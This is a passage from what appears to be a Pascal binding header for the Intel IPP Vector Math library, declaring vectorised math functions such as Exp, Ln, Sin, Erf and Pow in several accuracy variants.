Intel(R) Integrated Performance Primitives
Vector Math (ippVM)
}
{ ----------------------------------------------------------------------------
Functions declarations
{ ----------------------------------------------------------------------------
Name: ippvmGetLibVersion
Purpose: getting of the library version
Returns: the structure of information about version
of ippVM library
Parameters:
Notes: not necessary to release the returned structure
}
function ippvmGetLibVersion: IppLibraryVersionPtr; _ippapi
function ippsAbs_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAbs_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAdd_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAdd_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSub_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSub_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInv_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInv_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInv_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInv_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInv_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInv_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_32f_A11( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_32f_A21( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_64f_A26( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_64f_A50( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvSqrt_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvSqrt_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvSqrt_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvSqrt_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvSqrt_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvSqrt_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCbrt_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCbrt_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCbrt_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCbrt_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCbrt_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCbrt_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvCbrt_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvCbrt_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvCbrt_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvCbrt_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvCbrt_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsInvCbrt_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_32f_A11( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_32f_A21( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_64f_A26( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_64f_A50( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow2o3_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow2o3_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow2o3_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow2o3_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow2o3_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow2o3_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow3o2_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow3o2_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow3o2_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow3o2_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow3o2_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow3o2_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqr_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqr_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_32f_A11( a : Ipp32fPtr ; const b : Ipp32f ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_32f_A21( a : Ipp32fPtr ; const b : Ipp32f ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_32f_A24( a : Ipp32fPtr ; const b : Ipp32f ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_64f_A26( a : Ipp64fPtr ; const b : Ipp64f ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_64f_A50( a : Ipp64fPtr ; const b : Ipp64f ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_64f_A53( a : Ipp64fPtr ; const b : Ipp64f ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExpm1_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExpm1_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExpm1_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExpm1_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExpm1_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExpm1_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog1p_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog1p_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog1p_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog1p_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog1p_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog1p_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinCos_32f_A11( a : Ipp32fPtr ; r1 : Ipp32fPtr ;r2 : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinCos_32f_A21( a : Ipp32fPtr ; r1 : Ipp32fPtr ;r2 : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinCos_32f_A24( a : Ipp32fPtr ; r1 : Ipp32fPtr ;r2 : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinCos_64f_A26( a : Ipp64fPtr ; r1 : Ipp64fPtr ;r2 : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinCos_64f_A50( a : Ipp64fPtr ; r1 : Ipp64fPtr ;r2 : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinCos_64f_A53( a : Ipp64fPtr ; r1 : Ipp64fPtr ;r2 : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan2_32f_A11( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan2_32f_A21( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan2_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan2_64f_A26( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan2_64f_A50( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan2_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErf_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErf_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErf_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErf_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErf_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErf_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfInv_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfInv_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfInv_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfInv_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfInv_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfInv_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfc_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfc_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfc_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfc_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfc_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfc_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfcInv_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfcInv_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfcInv_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfcInv_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfcInv_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsErfcInv_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNorm_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNorm_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNorm_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNorm_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNorm_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNorm_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNormInv_32f_A11( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNormInv_32f_A21( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNormInv_32f_A24( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNormInv_64f_A26( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNormInv_64f_A50( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCdfNormInv_64f_A53( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsHypot_32f_A11( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsHypot_32f_A21( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsHypot_32f_A24( a : Ipp32fPtr ; b : Ipp32fPtr ;r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsHypot_64f_A26( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsHypot_64f_A50( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsHypot_64f_A53( a : Ipp64fPtr ; b : Ipp64fPtr ;r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAbs_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAbs_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
